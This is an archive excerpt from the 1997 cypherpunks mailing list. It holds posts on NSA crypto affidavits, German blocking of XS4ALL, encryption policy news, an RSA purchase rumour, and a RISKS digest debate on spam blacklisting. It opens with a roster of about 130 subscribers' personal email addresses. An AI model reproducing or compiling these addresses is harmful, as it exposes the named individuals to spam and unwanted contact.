eallensmith@mbcl.rutgers.edu
whgiii@amaranth.com
das@sgi.com
david@coe.woodbine.md.us
wcampbel@peganet.com
camcc@abraxis.com
jgrasty@gate.net
sporter@acm.org
wtfxston@netcom.com
janke@unixg.ubc.ca
grafolog@netcom.com
cmckie@ottawa.com
davidlu@sco.com
bryce@digicash.com
asgaard@cor.sos.sll.se
gbroiles@netbox.com
hayden@krypton.mankato.msus.edu
jschultz@mail.coin.missouri.edu
minow@apple.com
dockmaster@pobox.com
E.C.C.Sheedy@research.kpn.com
jack_flap@hotmail.com
sebago@earthlink.net
fabrice@math.Princeton.EDU
tcmay@got.net
wfgodot@iquest.com
jya@pipeline.com
sl@pobox.com
cypherpunk@rosa.com
tirevold@mindspring.com
frissell@panix.com
trei@process.com
foodie@netcom.com
mclow@mailhost2.csusm.edu
IML-cypherpunks-new@i405.com
e875836@popcorn.llnl.gov
jimbell@pacifier.com
take@barrier-free.co.jp
list-cp@sendai.scytale.com
cdaemon@goblin.punk.net
yuri@ANST.com
mlm@isbank.is
jeremym@r56h159.res.gatech.edu
kqb@whscad1.wh.lucent.com
weidai@eskimo.com
eric@clever.net
in5y113@public.uni-hamburg.de
kingle@cisco.com
lwp@mail.msen.com
janzen@idacom.hp.com
malcolm.miles@tegan.apana.org.au
dshipman@ewol.com
real@freenet.edmonton.ab.ca
hollyg@exchange.microsoft.com
ariel@watsun.cc.columbia.edu
jleppek@hisd.harris.com
Ed-Ferguson@ti.com
cypherpunks-gate@abraham.cs.berkeley.edu
jeremey@veriweb.com
sunder@beast.brainlink.com
txporter@mindspring.com
pierre@rahul.net
lucyc@suite.sw.oz.au
spook@nosuchagency.com
drake@cais.com
declan@pathfinder.com
die@die.com
ericm@lne.com
hal@rain.org
roberte@mulberry.com
E.J.Koops@kub.nl
cts@deltanet.com
demo@offshore.com.ai
shamrock@netcom.com
jehill@w6bhz.calpoly.edu
waynec@clipper.csc.UVic.CA
tangent@alt255.com
cypherpunks-incoming@ai.mit.edu
gendara@ns.pan.gbm.net
abd@cdt.org
agrapa@banamex.com
jarobin@comp.uark.edu
Kevin.L.Prigge-2@tc.umn.edu
cpunks-mtg@menelaus.mit.edu
steve@miranova.com
djphill@umich.edu
junger@upaya.multiverse.com
wmono@direct.ca
0005514706@mcimail.com
mkljones@cris.com
ggoessle@ensibm.imag.fr
jad@dsddhc.com
cypherpunks-gw@replay.com
frantz@netcom.com
shadow@count04.mry.scruznet.com
pjm@spe.com
enystrom@aurora.nscee.edu
dgilx@mindspring.com
wesf@mail.utexas.edu
tien@well.com
johnd@pathfinder.com
azur@netcom.com
C.Ooi@etc.com.au
williamd@bose.com
isbe@earthling.net
hjk@ddorf.rhein-ruhr.de
dimitris@alien.bt.co.uk
declan@eff.org
willday@rom.oit.gatech.edu
baby-x@slowdog.com
greg@ideath.parrhesia.com
nexus@eskimo.com
reusch@pluto.njcc.com
cabeen@netcom.com
rhornbec@counsel.com
RWright@adnetsol.com
braun@tunl.duke.edu
daron@idirect.com
lists+anon.cypherpunks@chardos.connix.com
pooh@efga.org
srenfro@silvix.sirinet.net
ppomes@Qualcomm.com
gate@mogul.oit.gatech.edu
unicorn@schloss.li
hanabusa@bnn-net.or.jp
p-paris@worldnet.fr
bubba@dev.null
tz@execpc.com
toto@sk.sympatico.ca

Date: Sun, 20 Apr 1997 19:06:35 -0500
From: Majordomo@einstein.ssz.com
Members of list 'cypherpunks':

No listing returned: Check at 525 1/2 Barton Springs Road, Austin, Texas.

Patron Saints of "The True Story of the InterNet":

Lao Tsu
Che Guerva
Marshall McLuhan
Phillip Zimmerman
Hughes, Gilmore & May
The Reader
----------------------------------------------------------------------------

Appendix / "WebWorld & The Mythical Circle of Eunuchs" / Part II "The True
Story of the InterNet"
----------------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 21 Apr 1997 20:59:08 -0700 (PDT)
To: cypherpunks@toad.com
Subject: SNL/NSA Crypto Security
Message-ID: <1.5.4.32.19970422035737.006e3388@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Cryptographer William Payne has shared afidavits that
describe SCIF procedures at Sandia National Laboratory 
for its NSA crypto work.

One affidavit cites Payne's claim to knowing how to "easily 
break public key encryption" but refused to tell NSA, thus
harming SNL's customer relations.

http://jya.com/nsasuit4.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Charles Anthony" <canthony@info-nation.com>
Date: Tue, 22 Apr 1997 05:47:53 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Germany Proposes Policing the Internet
Message-ID: <199704221247.HAA26787@bitstream.net>
MIME-Version: 1.0
Content-Type: text/plain


There is a Rueters story this morning on Germany's proposal to police 
the Internet. 


--C

http://www.infoseek.com/Content?col=NX&arn=a0409robti-19970419&dbid=4
&lk=noframes&ud3=2295E5565D2A6D7AD8C45800DC9F484B&ak=NONE&kt=G



**********************************************************************
Charles Anthony
canthony@info-nation.com
http://www.info-nation.com

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jamesd@echeque.com
Date: Tue, 22 Apr 1997 22:07:46 -0700 (PDT)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Short AP Rant [POLITICAL NOISE]
Message-ID: <199704230503.WAA29070@proxy3.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:27 AM 4/20/97 +0800, jamesd wrote:
> > The election of various unpleasant Islamic Fundamentalist regimes.
> > In particular, it seems likely that had the generals not violently 
> > overthrown democracy in Algeria, the democratically elected
> > representatives of the people would have proceeded to kill off
> > everyone they deemed insufficiently Islamic, a very substantial
> > minority, a minority which would doubtless have included most of 
> > the generals and their families.

At 09:22 PM 4/20/97 -0700, Bill Stewart wrote:
> The Islamic party didn't start killing off foreigners until the
> French and other Westerners supported the generals who overthrew them.

However they have been murdering Algerian women and children from 
day one, though they did not get into murdering Western women and 
children until a little later.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 22 Apr 1997 08:53:33 -0700 (PDT)
To: cypherpunks@toad.com
Subject: BIL_due
Message-ID: <1.5.4.32.19970422155158.00841784@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


     22 April 1997:

     Space/intelligence technology's embattled frontier 

     European citizens and governments alike have expressed
     concern over the recent expansion of U.S. intelligence bases
     in Europe. The National Security Agency (NSA) and National
     Reconnaissance Office (NRO) are combining efforts at large
     sites known as regional SIGINT (signals intelligence)
     operation centers, or RSOCs. 

     At a recent Space Symposium in Colorado Springs, Colo.,
     NRO director Keith Hall said that the merging of the NSA and
     NRO bases is the first step in creating "collaborative systems
     of systems in signals intelligence." In the future, Hall said,
     those joint efforts could also include the U.S. Space
     Command, the service intelligence agencies and even
     commercial resources "borrowed" by the intelligence
     community. 

     U.S. military officials have been surprisingly candid about
     their intent to take maximum strategic advantage of their
     information trump cards. Air Force Secretary Sheila Widnall 
     said, "Our allies must understand that we bring tremendous 
     capabilities to the table, and it would be to their advantage to 
     find ways we both can use [them]." 

     In a more blatant revelation of U.S. sentiment, Gen. Howell
     Estes, commander of the U.S. Space Command, said the
     United States "is the only nation intellectually prepared for and
     morally capable" of controlling space-based intelligence. 

----------

     President, Senators Set to clash on Encryption

     Bent on retaining access to any and all data exported from the
     United States, the Clinton administration soon will solidify its
     position on Internet security issues and have a bill sponsored
     in the Senate. 

     Meanwhile, microprocessing giant Intel Corp. of Santa Clara,
     Calif., which has been developing hardware-based encryption
     tools based on Cupertino, Calif.-based Hewlett-Packard's
     International Cryptography Framework, is sitting tight,
     waiting to see how things play out on Capitol Hill. 

     Intel already has submitted the framework for government
     review, but is closely guarding specifics about its encryption
     key lengths. 

----------

     SET 2.0 on the way - Encryption spec speeds e-commerce 

     "SET 2.0 will be security-algorithm-independent," said Steve
     Mott, senior vice president for electronic commerce at
     MasterCard International. "The issue is not the underlying
     cryptography, and the problem is not with RSA's
     mathematics; it's how efficient [RSA's cryptography] is." 

     Vendors such as Certicom, Apple Computer, and RPK are all
     positioning themselves as alternatives to market-leader RSA
     for providing encryption technologies. 

     "We have SET 1.0 pilots going with elliptic curve
     cryptography," Mott said. 

     Elliptic Curve Cryptosystem (ECC) is a technology that is
     being pushed by both Certicom and Apple.

     RPK, meanwhile, offers another alternative to encryption: Its
     Mixture Generator encryption engine performs both bulk and
     key encryption.

----------

     A Smart Partnership 

     Pretty Good Privacy Inc. and Schlumberger Electronic 
     Transactions are teaming up to integrate their encryption 
     and smart-card technologies. The two companies will interweave 
     PGP's encryption software with Schlumberger's Cryptoflex smart
     card, which supports functions such as key and digital
     certificate storage and signatures.

----------

     U.S. Seeks Laissez Faire on Internet 

     The Clinton administration plans to tell the Internal Revenue
     Service and bank regulators to forget about new rules for
     Internet commerce in a policy paper that is scheduled to be
     released later this spring, Ira Magaziner said last week. 

     It is unclear how far this laissez faire approach will go.
     Speaking at the same session, a top official in the Office of
     the U.S. Trade Representative warned about the obstacles he
     sees in trying to get other governments to go along. 
     He warned. "What do governments want to do? They want to
     regulate," he added. "It's ingrained to the system. It's almost a
     social-democratic ideal they want to fulfill." 


-----------

     MITI to develop int'l electronic commerce technology 

     The ministry will formulate a standard for authentication
     centers that use different data-verification methods. The new
     protocol would facilitate the exchange of encryption data
     among authentication centers around the world, thus allowing
     a business to verify the identity of a client in another country.

     MITI, which has earmarked over 10 billion yen (about 79.82
     million dollars) for electronic commerce tests, is hoping to
     nurture Japan's own electronic commerce services and to
     narrow the technological gap with the U.S. 

----------

BIL_due

or

http://jya.com/bildue.txt





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@hidden.net (Anonymous)
Date: Tue, 22 Apr 1997 13:26:11 -0700 (PDT)
To: cypherpunks@toad.com
Subject: No Subject
In-Reply-To: <1.5.4.32.19970422155158.00841784@pop.pipeline.com>
Message-ID: <199704221921.MAA00734@jefferson.hidden.net>
MIME-Version: 1.0
Content-Type: text/plain


John Young writes:
 >      In a more blatant revelation of U.S. sentiment, Gen. Howell
 >      Estes, commander of the U.S. Space Command, said the
 >      United States "is the only nation intellectually prepared for and
 >      morally capable" of controlling space-based intelligence. 

[ I tried several pithy followups to this statement and have concluded
  that there is nothing intelligent or moral to add. ]

TruthMonger e^(2[pi]i)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Tue, 22 Apr 1997 10:39:25 -0700 (PDT)
To: "cypherpunks" <eric@clever.net>
Subject: Re: Fwd:Clinton and RSA, True?
Message-ID: <199704221739.NAA16574@life.ai.mit.edu>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3953.1071713694.multipart/signed"

--Boundary..3953.1071713694.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

>Yet, at the same time the Clinton administration attemped to
>lump out nearly a billion dollars to buy a US company.  This
>smaller, "leaner", US Government, according to Ira Sockowitz, a
>former Commerce employee appointed by Bill Clinton, ordered him
>to meet with RSA Inc. Chairman James Bidzos.  The topic of that
>meeting was the official desire to secretly purchase RSA Inc.
>using taxpayer money.

[drivel deleted]

Cyber dog loses points for the following:-

NO mention of the Zarapuder film.
NO explanation of Vince Foster's death.
NO consideration given to the credible evidence of UFO sightings. 

Quite why the US govt. would want to buy RSA is beyond me. They already
have a license to use RSA for internal purposes, the patent expires in
three years in any case. Even if RSA was completely banned it would
still be possible to use El-Gamal and variants for encryption and
digital signatures.

False, and no more than 3/10 for effort.

Phill




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KoZIhvcNAQEEBQADgYEAJh3+fz9jUp3TQecpDPMYoZLUJ42ncGftpS00xNE8
ILttcpp9CPSB38TMpr0JIyetRoMCB6M4Sq5IrNadWE/Ot5Rj//x8GjP5f2UW
jZnenvCgSGbZdy0d0j+9jk9O+sDZ2f7fKCMYabUDVatyJfIhLVlxuXChUKdi
CiEiUEjOtnUxgdowgdcCAQEwdjBiMREwDwYDVQQHEwhJbnRlcm5ldDEXMBUG
A1UEChMOVmVyaVNpZ24sIEluYy4xNDAyBgNVBAsTK1ZlcmlTaWduIENsYXNz
IDEgQ0EgLSBJbmRpdmlkdWFsIFN1YnNjcmliZXICEGFDFWiEgdTVot4rXibJ
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m/uti37NEKL+BPol6Y4xhJEJWHagIcT0Aar5OPsvAx5UqYj6in8aw+kVB+Z8
ghqF7Q==
--Boundary..3953.1071713694.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sandy&darlene@hotmail.com
Date: Tue, 22 Apr 1997 13:05:55 -0700 (PDT)
To: sandy&amp;darlene@hotmail.com
Subject: stop by and see us.
Message-ID: <199704221957.MAA10336@sweden.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT  COLOR="#ff0000" SIZE=3><B>
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<FONT  COLOR="#000000" SIZE=3></B>
</P><P ALIGN=LEFT>
</PRE></HTML>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Tue, 22 Apr 1997 18:39:35 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Generic announcement
Message-ID: <19970422183723.30130@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


This is from a story on Top Level Domain Names.  Seems like it could apply 
to anything:
 
"In Washington DC, officials from the White House, federal agencies and
Congress say regulations may be necessary to promote a free-market   
system. A White House inter-agency taskforce was due to meet last
week, after CWI's press deadline, to discuss the matter."

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: wcreply@ctia.org
Date: Tue, 22 Apr 1997 18:23:38 -0700 (PDT)
To: cypherpunks@toad.com
Subject: www.wow-com.com
Message-ID: <199704230122.VAA27293@intraactive.com>
MIME-Version: 1.0
Content-Type: text/plain


Dear WOW-COM Reader:

WOW-COM continues to provide the knowledge wireless professionals need to stay ahead in a fast-paced environment.  Our news, CTIA-sponsored research and  regular updates on the top issues affecting wireless, make WOW-COM the site for industry professionals.  

Daily use of the wireless industry's Web hub continues to grow because we constantly add new features and information.  Here is what's new:

**Searchable Database on Antenna Moratoria Across America**

This segment of WOW-COM provides the information on every effort by localities to thwart development of wireless infrastructure by limiting tower development.  This analysis is of great value to all wireless professionals attempting to navigate the tower siting issue successfully.

To reach the Moratoria Database, click on http://www.WOW-COM.com/professional/siting/index.cfm

**Career Center**

WOW-COM's Career Center continues to grow rapidly.  New listings by Motorola, Iridium LLC, Sony Wireless Telecommunications, AirTouch Cellular, Lucent Technologies, and others have made this the on-line job center for wireless.  Recruiters are also now linked to the center, making it possible for you to reach them easily.

To reach the Career Center, simply logon to WOW-COM and click on the Career Center. 

**Week In Review**

The Week In Review, authored by CTIA political and regulatory experts, is available every Friday on WOW-COM -- three days before its scheduled Monday release.

We are always adding additional services, analysis and research for WOW-COM readers.  Please let us know what you think about WOW-COM and how we can serve you better!

Sincerely,
Team WOW-COM
wcreply@ctia.org
www.wow-com.com

We hope you found this email useful and informative.  If you didn't, we sincerely apologize.  If you do not wish to receive our notices, please reply to wcreply@ctia.org.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Charles Anthony" <canthony@info-nation.com>
Date: Wed, 23 Apr 1997 05:22:31 -0700 (PDT)
To: cypherpunks@toad.com
Subject: (Fwd) Wired news: German Network Lifts Ban on Dutch ISP
Message-ID: <199704231222.HAA21890@bitstream.net>
MIME-Version: 1.0
Content-Type: text/plain


The mirror efforts have been a success. Germany has lifted the ban on 
the xs4all site.

--C


------- Forwarded Message Follows -------
From:          tank <tank@xs4all.nl>
Subject:       Wired news: German Network Lifts Ban on Dutch ISP
To:            tank@xs4all.nl
Date:          Wed, 23 Apr 1997 11:39:04 +0200 (MET DST)

>From www.wired.com:


German Network Lifts Ban on Dutch ISP 

With mirror sites defeating its attempt to shutter a left-wing
magazine, Germany's main academic network has called off the blockade.
The network acted 11 April after prosecutors warned that Radikal
magazine, hosted by Dutch ISP XS4ALL, was illegal. The network then
blocked XS4ALL, which hosts 6,000 Web sites. Protests included
widespread mirroring of Radikal. "An effective barrier to the illegal
content was not possible," a network spokesman told the Associated
Press Tuesday.


XS4ALL Internet BV - Felipe Rodriquez-Svensson - finger 
felipe@xs4all.nl for 
Managing Director  -                           - pub pgp-key 1024/A07C02F9 



**********************************************************************
Charles Anthony
canthony@info-nation.com
http://www.info-nation.com

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Version: 2.6.3a

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b2g=
=0pHR
-----END PGP PUBLIC KEY BLOCK-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Charles Anthony" <canthony@info-nation.com>
Date: Wed, 23 Apr 1997 05:52:19 -0700 (PDT)
To: cypherpunks@toad.com
Subject: The Risks of Automatic Spam Filtering/Deadbolt
Message-ID: <199704231252.HAA23219@bitstream.net>
MIME-Version: 1.0
Content-Type: text/plain


An item from Risks-Forum Digest forwarded through the Red Rock Eater 
News Service- 

--C



Date: Thu, 27 Mar 1997 11:31:55 -0800 (PST)
From: risks@csl.sri.com
Subject: RISKS DIGEST 18.94

RISKS-LIST: Risks-Forum Digest  Thursday 27 March 1997  Volume 18 : Issue 94

----------------------------------------------------------------------

Date: Wed, 26 Mar 1997 09:25:38 -0600 (CST)
From: Prentiss Riddle <riddle@is.rice.edu>
Subject: Risks of automatic spam blockers

Forwarded from Edupage, 25 March 1997:
| SPAM BLOCK
| A California software engineer [Ron Guilmette] takes the annoyance
| caused by unsolicited e-mail messages seriously, and has developed an
| anti-spam weapon he plans to unveil next month.  Dead Bolt allows
| online users to share their "blacklists" of spam purveyors so that they
| can more effectively filter offending e-mail.  "The problem now is that
| everyone who is filtering is keeping their own blacklists and they're
| not working together to tie their lists together in a meaningful way,"
| says Dead Bolt's creator.  "What I hope my package will do is allow
| people to work together over the Net and filter all this stuff out and
| finally put these people out of business....The problem is that it
| costs the sender virtually zero dollars to send out a million messages,
| and even if the response rate is minuscule by all standards -- say .001
| percent -- they've made money.  So from an economic selfish point of
| view, it's in their interest to annoy the other 99.99 percent of the
| people." (Miami Herald 24 Mar 97)

The full Miami Herald article is available at:

   http://www.herald.com/archive/cyber/techdocs/056735.htm

Some of the risks of automatic spam filtering which Deadbolt will have
to overcome in order to be successful include:

   -- The risk of false and malicious blacklisting of non-spammers. 

   -- The risk of harm to innocent bystanders who happen to share
      hostnames, ISPs, or other characteristics with targeted spammers.

   -- The possibility that spam messages will avoid detection by
      varying return addresses and other signatures in each copy of
      a message.

I find the first two particularly troubling -- were an imperfect spam
filtering system in wide use, then triggering it against an innocent
party could become a handy form of denial-of-service attack.

Published details of Deadbolt are sketchy, but a Deja News or Alta
Vista search of Usenet for "Ron Guilmette" reveals some of its
designer's thinking on the subject.  So far, I don't see enough to
convince me that he will be successful.

Prentiss Riddle  riddle@rice.edu

------------------------------

End of RISKS-FORUM Digest 18.94 
************************




Date: Tue, 1 Apr 1997 17:01:10 -0800 (PST)
From: risks@csl.sri.com

RISKS-LIST: Risks-Forum Digest  Wednesday 02 April 1997  Volume 19 : Issue 02

----------------------------------------------------------------------

Date: Thu, 27 Mar 97 13:44:07 PST
From: zerkle@cs.ucdavis.edu (Dan Zerkle)
Subject: Re: Risks of automatic spam blockers (Riddle, RISKS-18.94)

> Dead Bolt allows online users to share their "blacklists" of spam 
> purveyors so that they can more effectively filter offending e-mail.

Something like this has, unfortunately, become necessary.  It will happen
someday.  Stopping spam is a topic near and dear to me, and I've already
considered the risks mentioned.

> The risk of false and malicious blacklisting of non-spammers. 

This is a serious problem.  A step towards solving it would be a secure
clearing house of data on spammers.  It would need to be distributed via a
technique like PGP-signed Usenet messages or a on online database
downloadable through some secure transfer medium.

Whoever maintained the database would need to somehow decide what went into
it and what didn't.  The entries would have to be classified by reliability
level so that the users could decide which data to use and which to ignore.

Unfortunately, doing this would subject whoever did it to a suit by spammers
who didn't want to be blocked.  I haven't figured out a way to avoid this
particular risk short of establishing the operation in a country without
spammers.

> The risk of harm to innocent bystanders who happen to share hostnames,
> ISPs, or other characteristics with targeted spammers.

This is not a risk.  This is a benefit.  If users at an ISP get blocked
because the other users at that ISP are spamming, they will take their
business elsewhere.  ISP's will either take measures to avoid harboring
spammers, or they will lose their customers and go out of business.  Either
way, spammers will have one less place to hide.

> The possibility that spam messages will avoid detection by varying return
> addresses and other signatures in each copy of a message.

If the source of a spam can be discovered, this is not a problem.  The
original spamming host is going to show up somewhere in the Received: line,
even if only as an IP number.  Poorly configured sendmails on intermediate
(relay) hosts might not properly include the Received: information.  If this
is the case, the defective site should be blocked until its owners fix it.

------------------------------

Date: Fri, 28 Mar 1997 10:57:47 -0500
From: Wayne Mesard <wmesard@sgi.com>
Subject: Spam-proofed "From:" lines

A recent trend in the war against spam is to munge the "From:" line in
outgoing Usenet and e-mail messages (e.g., by adding asterisks or
exclamation points to the beginning or end of the userid).  

These messages are typically accompanied by a terse note at the bottom
of the message instructing respondents to "Remove asterisks [or
whatever] from my address if you would like to reply."

I see several risks with this technique:

- False security: Most mail and news agents will dutifully add a
  "Sender:" line containing the "actual" e-mail address, if the
  user-supplied "From:" line doesn't look right.

  Since many spammers already gather addresses from the "Sender:" line,
  munging the "From:" line provides only limited protection.

- Inconsideration: In that a munged "From:" line reduces the spam
  received, it reduces the amount of work the munger has to do.  

  So instead of having to press one key to delete a junk e-mail message,
  everyone that wants to reply to one of his messages has to (a) notice
  that the address is bogus (b) press many keys to fix it.  (Indeed, some
  mail readers make it quite tedious to edit the headers in replies.)

  In other words, it hasn't eliminated the problem; it's merely shifted
  the work from the sender to his correspondents.

- Lost messages: a non-scientific survey of some novice-user friends
  indicated that a large number of them had no idea what the "remove
  asterisks..." directive meant, how to perform this task, or what to do
  with the bounced messages that will result from the failure to do so.

- False security 2: In the ever-escalating spam arms race, it won't be
  long before spammers' address-gathering software is modified to
  unmunged munged "From:" lines.  (I can think of two obvious techniques,
  which I won't describe here so as to avoid providing aid and comfort
  to the enemy.)

Wayne

------------------------------

End of RISKS-FORUM Digest 19.02 
************************


Date: Fri, 4 Apr 1997 17:04:13 -0800 (PST)
From: risks@csl.sri.com

RISKS-LIST: Risks-Forum Digest  Friday 4 April 1997  Volume 19 : Issue 04

----------------------------------------------------------------------

Date: Tue, 1 Apr 1997 18:35:54 -0800 (PST)
From: C Matthew Curtin <cmcurtin@research.megasoft.com>
Subject: Re: Risks of automatic spam blockers (Zerkle, RISKS-19.02)

>> The risk of false and malicious blacklisting of non-spammers.  (Riddle)
Dan> This is a serious problem.  A step towards solving it would be [...]

This is unnecessarily complex.  The NoCeM effort (see http://www.cm.org/ for
details) has simply, and effectively, dealt with the spam problem for
usenet.  Efforts are underway to adapt this to e-mail.

NoCeM works this way:
 * Someone takes it upon himself to watch for spam in a newsgroup (or groups).
 * When spam does appear, that someone posts a "NoCeM" message to
   news:alt.nocem.misc and/or news:news.admin.net-abuse.misc, PGP signed.
 * Users who want to benefit from the filters have clients that, when
   they grab news, look in news:alt.nocem.misc (and potentially other
   places) for NoCeM messages.  The client verifies the signatures,
   and if it's signed by someone the client agrees to listen to, the
   message won't be shown to the user at all.
 * Clients are also available to work with news servers, to NoCeM
   messages on a site-wide basis.  (I believe that these actually
   cancel the NoCeM'd messages on the site.)

This is nice, because it uses what's already there (news), and allows the
user (or admin, depending on the model) to select which users' NoCeMs he
honors.  Either you trust someone's judgement and honor their NoCeMs, or you
don't, and they're completely ignored.

Dan> Unfortunately, doing this would subject whoever did it to a suit
Dan> by spammers who didn't want to be blocked.

Superfluous lawsuits are threatened all the time... few have the resources
of CyberPromo to actually be stupid enough to try any of this.  (It's
another thing about NoCeM...it doesn't kill the messages, it just is another
post, that certain clients deal with behind the scenes. :-)

Matt Curtin  Chief Scientist  Megasoft, Inc.  cmcurtin@research.megasoft.com
http://www.research.megasoft.com/people/cmcurtin/ 

------------------------------

Date: Wed, 2 Apr 1997 11:57:49 -0800 (PST)
From: Ted Wong <tmw5@cornell.edu>
Subject: Re: Risks of automatic spam blockers (Zerkle, RISKS-19.02)

Instead of having a central repository of spam, why not use a
distributed spam-control system analogous to NoCeMs for Usenet news?
Anyone could then issue digitally-signed spam-block notifications, but
an individual user would configure their system to only apply notices
that came from cancellers they trusted. An Alpha version of NoCeM for
e-mail already exists, at <http://www.novia.net/~doumakes/abuse/>.

Some advantages of this system are:

o It thwarts malicious individuals or organizations attempting to
systematically censor e-mail. Unless the user lists them as trusted
cancellers, their notices will be ignored.

o A 'spotcheck' mode would allow users to occasionally receive an otherwise
cancelled e-mail, to ensure that an otherwise trusted canceller hasn't
stepped over the line between spam-blocking and censorship.

o There is no risk of some central database being compromised by spammers or
censors.

o Users receive more timely warnings of new spam, without needing to
periodically check and download a spam-list.

o  The spammers have no-one to sue for freedom-of-speech violations.
While I'm not a lawyer, I can't see any way to sue someone for merely
suggesting that a spammer's mail isn't worth reading. 

> > The risk of harm to innocent bystanders who happen to share hostnames,
> > ISPs, or other characteristics with targeted spammers.
> 
> This is not a risk.  This is a benefit.  [...]

I can't see that this is a benefit. Changing your ISP is hardly a trivial
task - you have to notify all of your correspondents of your new e-mail
address, archive any web pages you may have stored at your ISP, reconfigure
your internal network if you were using a Class C subnet, etc. It's grossly
unfair to punish legitimate users because they were unfortunate enough to
have some Canter and Siegal wanna-be set up shop on their ISP.

Ted Wong  Information Technology Section  Mann Library, Cornell University
<tmw5@cornell.edu>

------------------------------

Date: Wed, 2 Apr 1997 08:33:02 -0800 (PST)
From: "Rosenthal, Harlan" <rosenthh@dialogic.com>
Subject: Re: Risks of automatic spam blockers (Zerkle, RISKS-19.02)

> [...] they will take their business elsewhere.  

Easy to say from a university or company account.  In the real world, nobody
wants to change addresses and notify all of their correspondents, especially
if it means losing an established presence that may have been widely
disseminated to =potential= correspondents (not to mention reprinting
stationary and business cards).  And why should the multitude suffer this
inconvenience, expense, and loss of communication, for the activities of the
few?

Spam is the biggest single argument for usage charges.  As long as it's
cheap to set up a new address and free to abuse it, there's no reason for
the spammers to cut down on e-mailing spam and freeloading on other people's
processors and comm lines.  The fact that spam can be sent from a domain
shared by many legitimate users, and that even new addresses may be reused
after the spammer changes away, means that abusers are hiding among the
innocent like hostage-taking terrorists - hyperbole, perhaps, but congruent
in style if not in magnitude.  The goal of any anti-spam approach should be
to block, slow, or encumber transmission as close to the source as possible.
Yet legitimate cases are always at risk; limiting the cc: lines, for
example, could inconvenience clubs or companies almost as much as it slows
the spammers.  As in any police-power or security effort, the problem is how
much freedom the average innocent person is prepared to give up so that the
abuser can be blocked.

-harlan

------------------------------

Date: Wed, 2 Apr 1997 09:32:46 -0800 (PST)
From: Dan Franklin <dan@copernicus.bbn.com>
Subject: Re: Risks of automatic spam blockers (Zerkle, RISKS-19.02)

> The original spamming host is going to show up somewhere in the Received: 
> line, [...]

Note that if you are fortunate enough to have Received: lines to work from
(the most recent spam I received had none at all, either because the relay
host was defective or because it really was sent directly to my mailhost)
you still have a challenge, because the spammer can insert one or more bogus
Received lines in the initial message, so the one added by the first relay
host will be buried in the middle.

By the way, it does not seem practical to me to block all mail-relay sites
that don't add Received lines.  How would you generate such a list?  What
incentive would you provide to such a site to change their software?

Dan Franklin

------------------------------

Date: Wed, 2 Apr 1997 10:57:55 -0800 (PST)
From: "J. DeBert" <onymouse@hypatia.com>
Subject: Re: Risks of automatic spam blockers (Zerkle, RISKS-19.02)

Any method of auto-blocking spam will create a serious problem for anyone
who later acquire the spammers' discarded domain names.

Spammers are registering lots of domain names and faking many to evade
anti-spam and cancel bots and to hide from their enemies as well as the
public at large. Once they are done with the domain names and they--the
registered names--become available again, the next organization to acquire
the name will find their mail bouncing or disappearing into /dev/null
somewhere and perhaps harassed by bots and hostile spam-haters which do not
know that the domain name has changed hands. The unfortunate victims of such
acts may not even be able to escape them by merely changing their domain
name, either.

Who is going to removed dead spammer domains from the anti- spam and cancel
bots' records and make sure that everyone knows about it?

onymouse@hypatia.com | I've only one thing to 
 Send NO spam        | say to spammers: "47USC227".

  [Many thanks to an onymouse contributor (J DeBert), 
  who acted as a guest moderator for this topic.  PGN]

------------------------------

End of RISKS-FORUM Digest 19.04 
************************



Date: Tue, 22 Apr 1997 12:03:12 -0700 (PDT)
From: risks@csl.sri.com
Subject: RISKS DIGEST 19.10

RISKS-LIST: Risks-Forum Digest  Tuesday 22 April 1997  Volume 19 : Issue 10

----------------------------------------------------------------------

Date: Thu, 17 Apr 97 19:49:30 EDT
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Risks of automatic spam blockers (Curtin, RISKS-19.04)

On the risks of issuing NoCeMs

I've been issuing NoCeMs for off-topic articles in several newsgroups (both
global Usenet and the nyc.* hierarchy) since the summer of '96.  I've
received two legalese threats of legal action from posters of material that
matched my criteria of being off-topic.

1. Michael Weir, a recruiter from Canada, insisted on posting job ads in
an unmoderated discussion newsgroup whose charter prohibits job ads and
resumes. He threatened to sue me for using his name in the NoCeM notices.
He also posted a series of abusive flames about me. A search of DejaNews
revealed several articles from him in Canadian newsgroups discussing
his litigations and asking for personal information about a judge.
Eventually he went away.

2. The "New York Theosophical Society" insists on posting in the local
newsgroup nyc.seminars (usually used to announce, what else, seminars).  One
